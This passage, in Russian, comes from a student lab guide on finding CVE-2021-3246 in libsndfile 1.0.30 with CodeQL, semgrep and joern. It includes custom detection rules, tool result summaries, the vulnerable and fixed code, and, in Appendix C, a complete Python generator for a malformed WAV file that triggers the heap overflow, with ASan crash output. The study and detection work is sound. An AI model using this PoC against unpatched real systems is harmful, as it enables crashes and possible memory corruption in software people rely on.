# По шагам
./scripts/build/01-fetch.sh
./scripts/build/02-build.sh
./scripts/poc.sh
./scripts/build/04-codeql.sh
./scripts/build/05-semgrep.sh
./scripts/build/06-joern.sh

# PoC вручную
python3 poc/gen_msadpcm_poc.py
ASAN_OPTIONS=detect_leaks=0 work/build/asan-1.0.30/programs/sndfile-info poc/msadpcm_poc.wav
ASAN_OPTIONS=detect_leaks=0 work/build/asan-1.1.0/programs/sndfile-info poc/msadpcm_poc.wav

# Своё правило CodeQL
work/tools/codeql/codeql database analyze work/db-1.0.30 \
  rules/codeql/msadpcm-block-size.ql \
  --format=sarif-latest --output=/tmp/codeql-1.0.30.sarif --threads=4

# Своё правило semgrep
work/venvs/semgrep/bin/semgrep --config rules/semgrep/msadpcm-block-size.yaml \
  --no-git-ignore work/src/libsndfile-1.0.30/src/ms_adpcm.c

# Своё правило joern
export JAVA_HOME="$PWD/work/tools/jdk-21"
export PATH="$JAVA_HOME/bin:$PATH"
work/tools/joern/joern-cli/joern --script rules/joern/msadpcm-block-size.sc \
  --param inputPath="$PWD/work/src/libsndfile-1.0.30/src" \
  --param outFile=/tmp/joern-1.0.30.txt

# Сводки
cat results/versions.txt
cat results/codeql-summary.txt
cat results/semgrep-summary.txt
cat results/joern-summary.txt
cat results/joern-custom-summary.txt

# Повторная сборка с нуля
rm -rf work/build work/db-1.0.30 work/db-1.1.0
./scripts/build/02-build.sh
./scripts/build/04-codeql.sh
```

8.2. Карта кода

Что	Где
Константы PoC (226, 2592, 10)	`poc/gen_msadpcm_poc.py:21-25`
Сборка WAV	`poc/gen_msadpcm_poc.py:30-59`
`wavlike_msadpcm_init`	`src/ms_adpcm.c:118-192`
Проверка `blockalign`	`src/ms_adpcm.c:131`
`pmssize` и `calloc`	`src/ms_adpcm.c:136-138`

Что	Где
Проверка `count`	`src/ms_adpcm.c:163`
Вызов декодера из init	`src/ms_adpcm.c:171`
`msadpcm_decode_block`	`src/ms_adpcm.c:211-312`
`sampleindx = 2 * channels`	`src/ms_adpcm.c:276`
Запись за границу	`src/ms_adpcm.c:279-280`
Разбор обычного MS ADPCM	`src/wavlike.c:246-300`
Разбор extensible	`src/wavlike.c:309-400`
Вызов init из `wav_open`	`src/wav.c:258`
`framesperblock` для extensible	`src/wav.c:673-678`
Структуры `WAV_FMT`	`src/wavlike.h:190-296`
Новые проверки 1.1.0	`src/ms_adpcm.c:132, 137`
Правило CodeQL	`rules/codeql/msadpcm-block-size.ql`
Правило semgrep	`rules/semgrep/msadpcm-block-size.yaml`
Правило joern	`rules/joern/msadpcm-block-size.sc`
Сводки и логи	`results/`

8.3. Глоссарий

Термин	Значение
SAST	статический анализ кода без запуска
DAST	динамический анализ запущенной программы
CWE	класс ошибок
CVE	конкретная уязвимость в продукте
CVSS	оценка серьёзности
AST	дерево синтаксиса
CFG	граф управления
IR	промежуточное представление
SSA	форма с одним присваиванием на переменную
Taint	метка «недоверенные данные»
Source / sink	источник / сток данных
Sanitizer	проверка, снимающая метку
Path-problem	запрос с путём от источника до стока
SARIF	формат обмена результатами анализа
CPG	Code Property Graph
c2cpg	фронтенд joern для C
Copy loop	эвристика joern на циклы копирования
ASan	AddressSanitizer
False positive	ложное срабатывание

Термин	Значение
False negative	пропуск
Precision / recall	точность / полнота
Триаж	ручной разбор срабатываний
MS ADPCM	адаптивное дифференциальное кодирование Microsoft
`blockalign`	размер блока в байтах
`samplesperblock`	число сэмплов в блоке
`WAVE_FORMAT_EXTENSIBLE`	расширенный заголовок WAV с GUID подформата

8.4. Что почитать в проекте

- `README.md` — краткий итог, состав каталога, воспроизведение.
- `report.md` — главы 2–3 отчёта, все числа и разборы.
- `Документация_разработки_лаб4.md` — подробная история решений, теория, диагностика.
- `rules/` — три правила.
- `scripts/` — как всё запускается.
- `results/` — сырые результаты, на которые ссылаются числа.
- `screenshots/` — готовые картинки для отчёта.

Приложение А. Рисунки

```
Версии инструментов и проекта
CodeQL: CodeQL command-line toolchain release 2.27.3.
semgrep: 1.182.1
joern: 4.0.669
JDK: openjdk version "21.0.13" 2026-10-20 LTS
clang: clang version 23.1.3
libsndfile vulnerable: AC_INIT([libsndfile],[1.0.30],[sndfile@mega-nerd.com],
libsndfile fixed: AC_INIT([libsndfile],[1.1.0],[sndfile@mega-nerd.com],
```

Рисунок А.1. Версии инструментов и проекта.

```
PoC: падение 1.0.30 и отказ 1.1.0
libsndfile 1.0.30 + ASan (PoC 2660 байт):
==277450==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7dfce51e25d4 at pc 0x558ee21bb9ba bp 0x7fff79c90d30 sp
0x7fff79c90d20
WRITE of size 2 at 0x7dfce51e25d4 thread T0
    #0 0x558ee21bb9b9 in msadpcm_decode_block ../../src/libsndfile-1.0.30/src/ms_adpcm.c:279
allocated by thread T0 here:
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../src/libsndfile-1.0.30/src/ms_adpcm.c:279 in msadpcm_decode_block

libsndfile 1.1.0 + ASan (тот же файл):
Error : Not able to open input file /home/drenk83/Projects/gitrepo/mbks_labs/lab4/poc/msadpcm_poc.wav.
*** Error samplesperblock (10) should be >= 1582.
```

Рисунок А.2. PoC: падение 1.0.30 и отказ 1.1.0.

```
CodeQL: пять CWE и своё правило
CodeQL, libsndfile 1.0.30: пять штатных запросов

запрос                                          находок
cpp/integer-overflow-tainted                        290
cpp/unclear-array-index-validation                    8
cpp/conditionally-uninitialized-variable              2
cpp/suspicious-add-sizeof                             1
cpp/unbounded-write                                   0
ИТОГО                                               301

Своё правило cpp/lab4-msadpcm-block-size:
  libsndfile 1.0.30: 1 находка
  libsndfile 1.1.0: 0 находок
```

Рисунок А.3. CodeQL: пять CWE и своё правило.

```
semgrep: штатные наборы и своё правило
semgrep, libsndfile 1.0.30

p/c (штатный C-набор): 0 находок (2 правил, 130 файлов)
p/default: 0 находок (336 правил, 144 файлов)
p/security-audit: 7 находок (88 правил, 144 файлов)

p/security-audit по правилам:
   2  c.lang.security.double-free.double-free
   2  c.lang.security.use-after-free.use-after-free
   1  c.lang.security.insecure-use-printf-fn.insecure-use-printf-fn
   1  c.lang.security.insecure-use-strcat-fn.insecure-use-strcat-fn
   1  c.lang.security.insecure-use-string-copy-fn.insecure-use-string-copy-fn

Своё правило lab4-msadpcm-block-size:
  libsndfile 1.0.30: 1 находок
  libsndfile 1.1.0: 0 находок
```

Рисунок A.4. semgrep: штатные наборы и своё правило.

```
joern: штатный набор и своё правило
joern-scan --language c, libsndfile 1.0.30, каталог src/
строк Result: 368

находок  балл  запрос
    293  2.0   Copy loop detected
     42  2.0   Signed Shift May Cause Undefined Behavior
     18  3.0   Array access at fixed offset but sufficient length check not determined
      6  2.0   Truncation in assignment involving `strlen` call
      6  3.0   Two file operations on the same path can act on different files
      2  3.0   Unchecked read/recv/malloc
      1  4.0   Non-constant format string passed to printf/sprintf/vsprintf

CVE-2021-3246 в штатном наборе нет.
Своё правило, 1.0.30:
находок: 1
ms_adpcm.c:131: blockalign < 7 * psf->sf.channels
Своё правило, 1.1.0:
находок: 0
```

Рисунок A.5. joern: штатный набор и своё правило.

```
joern: своё правило на 1.0.30 и 1.1.0
libsndfile 1.0.30
находок: 1
ms_adpcm.c:131: blockalign < 7 * psf->sf.channels

libsndfile 1.1.0
находок: 0
```

Рисунок A.6. joern: своё правило на 1.0.30 и 1.1.0.

Приложение B. Полные тексты правил

B.1. CodeQL

```
/**
 * @name CVE-2021-3246: недостаточная проверка размера блока MS ADPCM
 * @description В wavlike_msadpcm_init проверяется только blockalign,
 *              но не samplesperblock. Из-за этого msadpcm_decode_block
 *              может записать больше сэмплов, чем выделено в calloc.
 * @kind problem
 * @problem.severity error
 * @security-severity 8.8
 * @id cpp/lab4-msadpcm-block-size
 * @tags security
 *       external/cwe/cwe-787
 *       external/cwe/cwe-122
 */

import cpp

from IfStmt check, BinaryOperation lt
where
  check.getEnclosingFunction().hasName("wavlike_msadpcm_init") and
  lt = check.getCondition() and
  lt.getOperator() = "<" and
  lt.getLeftOperand().toString() = "blockalign"
select check,
  "Проверка размера блока MS ADPCM использует blockalign и не ограничивает samplesperblock
(CVE-2021-3246)"
```

`rules/codeql/qlpack.yml`:

```
name: lab4/codeql-rules
version: 0.0.1
dependencies:
  codeql/cpp-all: "*"
```

B.2. semgrep

```
rules:
  - id: lab4-msadpcm-block-size
    languages: [c]
    severity: ERROR
    message: >
      MS ADPCM: проверяется только blockalign, а samplesperblock не ограничен.
      Это позволяет выйти за границы буфера в msadpcm_decode_block
      (CVE-2021-3246 в libsndfile 1.0.30).
    metadata:
      cwe:
        - "CWE-787: Out-of-bounds Write"
      references:
        - https://nvd.nist.gov/vuln/detail/CVE-2021-3246
        - https://github.com/libsndfile/libsndfile/issues/687
    patterns:
      - pattern-inside: |
          int wavlike_msadpcm_init(...)
          {
            ...
          }
```

```
      - pattern: |
          if (blockalign < 7 * $CHANNELS)
          {
            ...
          }
```

B.3. joern

```
// Ищет слабую проверку размера блока MS ADPCM (CVE-2021-3246):
// внутри wavlike_msadpcm_init условие вида `blockalign < 7 * ...`.
// В libsndfile 1.1.0 слева стоит samplesperblock или `2 * blockalign`,
// поэтому правило на исправленной версии молчит.

@main def main(inputPath: String, outFile: String) = {
  importCode.c(inputPath)

  val hits = cpg.method
    .nameExact("wavlike_msadpcm_init")
    .controlStructure
    .controlStructureType(ControlStructureTypes.IF)
    .filter { cs =>
      cs.condition.l.exists { cond =>
        val kids = cond.astChildren.l
        kids.length >= 2 &&
        kids.head.code == "blockalign" &&
        kids(1).code.startsWith("7 *")
      }
    }
    .map { cs =>
      val file = cs.file.name.l.headOption.getOrElse("?")
      val line = cs.lineNumber.map(_.toString).getOrElse("?")
      val code = cs.condition.code.l.headOption.getOrElse(cs.code)
      s"$file:$line: $code"
    }
    .l
    .distinct
    .sorted

  val text = s"находок: ${hits.size}\n" + hits.map(h => s"$h\n").mkString
  java.nio.file.Files.writeString(java.nio.file.Paths.get(outFile), text)
  println(text)
}
```

Приложение C. Полный генератор PoC

```
#!/usr/bin/env python3
"""Генератор PoC для CVE-2021-3246 в libsndfile 1.0.30.

Уязвимость: heap-buffer-overflow в msadpcm_decode_block (src/ms_adpcm.c).
Файл — WAVE_FORMAT_EXTENSIBLE с subformat MS ADPCM. libsndfile 1.0.30
для extensible-формата берёт samplesperblock из объединения WAV_FMT, где
это поле пересекается с wValidBitsPerSample. Проверка в
wavlike_msadpcm_init смотрит только blockalign и не ограничивает
samplesperblock, поэтому декодер пишет больше сэмплов, чем выделено
под channels * samplesperblock.

Параметры подобраны так, чтобы старый код гарантированно вышел за буфер:
226 каналов, blockalign 2592, samplesperblock 10.
"""

import argparse
import struct
from pathlib import Path

# GUID подформата MS ADPCM: 00000002-0000-0010-8000-00AA00389B71
MS_ADPCM_GUID = bytes.fromhex("02000000000010008000000aa00389b71")

CHANNELS = 226
BLOCK_ALIGN = 2592
SAMPLES_PER_BLOCK = 10
SAMPLE_RATE = 8000
BITS_PER_SAMPLE = 4


def build_wav() -> bytes:
    # WAVEFORMATEXTENSIBLE: 18 байт WAVEFORMATEX + 22 байта расширения.
    fmt = struct.pack(
        "<HHIIHH",
        0xFFFE,              # wFormatTag = WAVE_FORMAT_EXTENSIBLE
        CHANNELS,
        SAMPLE_RATE,
        SAMPLE_RATE * BLOCK_ALIGN,  # nAvgBytesPerSec (для PoC не важно)
        BLOCK_ALIGN,         # nBlockAlign
        BITS_PER_SAMPLE,     # wBitsPerSample
    )
    extension = (
        struct.pack("<HI", SAMPLES_PER_BLOCK, 0)  # wValidBitsPerSample, dwChannelMask
        + MS_ADPCM_GUID
    )
    fmt += struct.pack("<H", len(extension)) + extension

    data = bytes(BLOCK_ALIGN)  # сам блок; содержимое для переполнения не важно

    body = (
        b"WAVE"
        + b"fmt "
        + struct.pack("<I", len(fmt))
        + fmt
        + b"data"
        + struct.pack("<I", len(data))
        + data
    )
    return b"RIFF" + struct.pack("<I", len(body)) + body
```

```
def main() -> None:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument(
        "-o",
        "--output",
        type=Path,
        default=Path(__file__).with_name("msadpcm_poc.wav"),
        help="куда записать WAV (по умолчанию рядом со скриптом)",
    )
    args = parser.parse_args()
    blob = build_wav()
    args.output.write_bytes(blob)
    print(f"записан {args.output} ({len(blob)} байт)")


if __name__ == "__main__":
    main()
```

Приложение D. Уязвимый код и исправление

D.1. libsndfile 1.0.30, `src/ms_adpcm.c:131`

```
if (blockalign < 7 * psf->sf.channels)
{   psf_log_printf (psf, "*** Error blockalign (%d) should be > %d.\n",
                    blockalign, 7 * psf->sf.channels) ;
    return SFE_INTERNAL ;
    } ;
```

D.2. libsndfile 1.0.30, `src/ms_adpcm.c:136-138`

```
pmssize = sizeof (MSADPCM_PRIVATE) + blockalign
        + 3 * psf->sf.channels * samplesperblock ;

if (! (psf->codec_data = calloc (1, pmssize)))
    return SFE_MALLOC_FAILED ;
```

D.3. libsndfile 1.0.30, `src/ms_adpcm.c:276-281`

```
sampleindx = 2 * pms->channels ;
while (blockindx < pms->blocksize)
{   bytecode = pms->block [blockindx++] ;
    pms->samples [sampleindx++] = (bytecode >> 4) & 0x0F ;
    pms->samples [sampleindx++] = bytecode & 0x0F ;
    } ;
```

D.4. libsndfile 1.1.0, `src/ms_adpcm.c:132-140`

```
/* There's 7 samples per channel in the preamble of each block */
if (samplesperblock < 7 * psf->sf.channels)
{   psf_log_printf (psf, "*** Error samplesperblock (%d) should be >= %d.\n",
                    samplesperblock, 7 * psf->sf.channels) ;
    return SFE_INTERNAL ;
    } ;

if (2 * blockalign < samplesperblock * psf->sf.channels)
{   psf_log_printf (psf, "*** Error blockalign (%d) should be >= %d.\n",
                    blockalign, samplesperblock * psf->sf.channels / 2) ;
    return SFE_INTERNAL ;
    } ;
```

Приложение E. Сводки результатов

E.1. CodeQL

```
CodeQL, libsndfile 1.0.30: пять штатных запросов

запрос                                          находок
cpp/integer-overflow-tainted                        290
cpp/unclear-array-index-validation                    8
cpp/conditionally-uninitialized-variable              2
cpp/suspicious-add-sizeof                             1
cpp/unbounded-write                                   0
ИТОГО                                               301

Своё правило cpp/lab4-msadpcm-block-size:
  libsndfile 1.0.30: 1 находка
  libsndfile 1.1.0: 0 находок
```

E.2. semgrep

```
semgrep, libsndfile 1.0.30

p/c (штатный C-набор): 0 находок (2 правил, 130 файлов)
p/default: 0 находок (336 правил, 144 файлов)
p/security-audit: 7 находок (88 правил, 144 файлов)

p/security-audit по правилам:
   2  c.lang.security.double-free.double-free
   2  c.lang.security.use-after-free.use-after-free
   1  c.lang.security.insecure-use-printf-fn.insecure-use-printf-fn
   1  c.lang.security.insecure-use-strcat-fn.insecure-use-strcat-fn
   1  c.lang.security.insecure-use-string-copy-fn.insecure-use-string-copy-fn

Своё правило lab4-msadpcm-block-size:
  libsndfile 1.0.30: 1 находок
  libsndfile 1.1.0: 0 находок
```

E.3. joern

```
joern-scan --language c, libsndfile 1.0.30, каталог src/
строк Result: 368

находок  балл  запрос
    293  2.0   Copy loop detected
     42  2.0   Signed Shift May Cause Undefined Behavior
     18  3.0   Array access at fixed offset but sufficient length check not determined
      6  2.0   Truncation in assignment involving `strlen` call
      6  3.0   Two file operations on the same path can act on different files
      2  3.0   Unchecked read/recv/malloc
      1  4.0   Non-constant format string passed to printf/sprintf/vsprintf

CVE-2021-3246 в штатном наборе нет.
Своё правило, 1.0.30:
находок: 1
ms_adpcm.c:131: blockalign < 7 * psf->sf.channels
Своё правило, 1.1.0:
находок: 0
```

E.4. PoC

```
libsndfile 1.0.30 + ASan (PoC 2660 байт):
==...==ERROR: AddressSanitizer: heap-buffer-overflow ...
WRITE of size 2 ...
    #0 ... in msadpcm_decode_block .../src/ms_adpcm.c:279
allocated by thread T0 here:
SUMMARY: AddressSanitizer: heap-buffer-overflow .../src/ms_adpcm.c:279 in msadpcm_decode_block

libsndfile 1.1.0 + ASan (тот же файл):
Error : Not able to open input file .../poc/msadpcm_poc.wav.
*** Error samplesperblock (10) should be >= 1582.
```

Приложение F. Что стоит поправить в отчёте перед сдачей

Этот раздел — для тебя, не для защиты. Он не меняет `report.md` и PDF, а фиксирует расхождения, которые я нашёл при перепроверке.

№	Где	Что не так	Как правильно
1	`report.md:99`, `Документация…:801`	libsndfile 1.0.30 назван «2021»	тег `v1.0.30` — 19.09.2020, релиз 18.09.2020
2	`report.md:76`	«оба срабатывания CWE-457 истинные»	`common.c:57` — ложное: `max` объявлена `static`, обнуляется при старте; истинное только `sndfile-info.c:256`
3	`report.md:292, 308, 521`	double-free в `alac.c:871` «требует проверки»	ложное: два `free(pakt_data)` на взаимоисключающих путях
4	`mbks_lab_4.pdf`, стр. 2	оглавление от шаблона: «3.1 Название подраздела», стр. 3–10, разделы «Теоретические сведения», «Список источников», «Приложение А»	обновить оглавление под фактическую структуру
5	`mbks_lab_4.pdf`, стр. 27	текст обрывается после первого абзаца выводов	добавить остальные 4 пункта выводов, список источников и приложение
6	`mbks_lab_4.pdf`	в тексте нумерация 2.x / 3, в оглавлении 3.x / 4	привести к одной схеме
7	`mbks_lab_4.pdf`, стр. 14	два «Рисунка 10»; на стр. 12–13 две подписи «Значения проверки» (рис. 5 и 6)	развести номера 10/11 и уточнить подпись рис. 6
8	`mbks_lab_4.pdf`, стр. 6 и 9	`sd2.c` — 14 вместо 15; «около 47 тыс. строк» вместо 56 150	синхронизировать с `report.md`
9	отчёт	полного текста PoC с комментариями нет, только фрагмент на рисунке 7	вставить полный генератор в приложение (он есть в приложении С этого файла)

Все числа и факты в этом самоучителе уже даны в исправленном виде: 2020 год, CWE-457 — одно истинное и одно ложное, double-free в `alac.c` — ложное.

Приложение G. Ссылки

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-3246
- MITRE CVE: https://cveawg.mitre.org/api/cve/CVE-2021-3246
- Issue libsndfile: https://github.com/libsndfile/libsndfile/issues/687
- Коммит исправления: https://github.com/libsndfile/libsndfile/commit/deb669ee8be55a94565f6f8a6b60890c2e7c6f32
- Релиз 1.1.0: https://github.com/libsndfile/libsndfile/releases/tag/1.1.0
- OSS-Fuzz: https://oss-fuzz.com/testcase-detail/5696502087024640
- Debian DSA-4947: https://www.debian.org/security/2021/dsa-4947
- Gentoo GLSA 202309-11: https://security.gentoo.org/glsa/202309-11
- CodeQL: https://codeql.github.com/docs/
- semgrep: https://semgrep.dev/docs/
- joern: https://joern.io/, https://github.com/joernio/joern

Документ описывает состояние работы на 10 ноября 2026 года. Числа соответствуют `results/` и версиям из `results/versions.txt`. Если меняются версии инструментов, наборы правил или исходники libsndfile, результаты нужно перепроверить командой `./scripts/build/run-all.sh`.